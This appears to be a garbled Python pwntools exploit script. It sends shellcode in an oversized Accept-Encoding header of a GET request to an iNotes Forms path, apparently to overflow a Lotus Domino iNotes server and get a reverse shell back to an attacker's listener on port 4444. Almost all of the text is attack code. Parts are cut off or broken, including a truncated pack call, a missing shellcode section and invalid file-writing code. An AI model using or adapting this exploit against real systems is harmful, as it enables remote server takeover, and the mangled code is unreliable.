from pwn import * import struct import sys def pack(x): return struct.pack(' offset): # print("shellcode is too large") # import sys; sys.exit(1) niceone += shellcode print("+ len is", len(niceone)) currsize = len(niceone)-offset print(f"+ curr: {currsize}") # with open("payload.bin", "wb") as f: # f.write(niceone) open("payload.bin", "wb").write(niceone).close() request = b'GET /iNotes/Forms%d.nsf// HTTP/1.0\r\n' request += f'Host: {host}\r\n'.encode() request += b'Accept-Encoding: ' + niceone + b'\r\n' request += b'Connection: Close\r\n' request += b'Cache-Control: no-cache\r\n\r\n' print("+ sending") for i in range(10): conn = remote(host.format(i), port) conn.send(request) conn.close() print("+ check your listener") if __name__ == '__main__': if len(sys.argv) < 5: print(f"xp 4444") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) yourip = sys.argv[3] # yourport = int(sys.argv[4]) yourport = 4444 clap(host, port, yourip, yourport)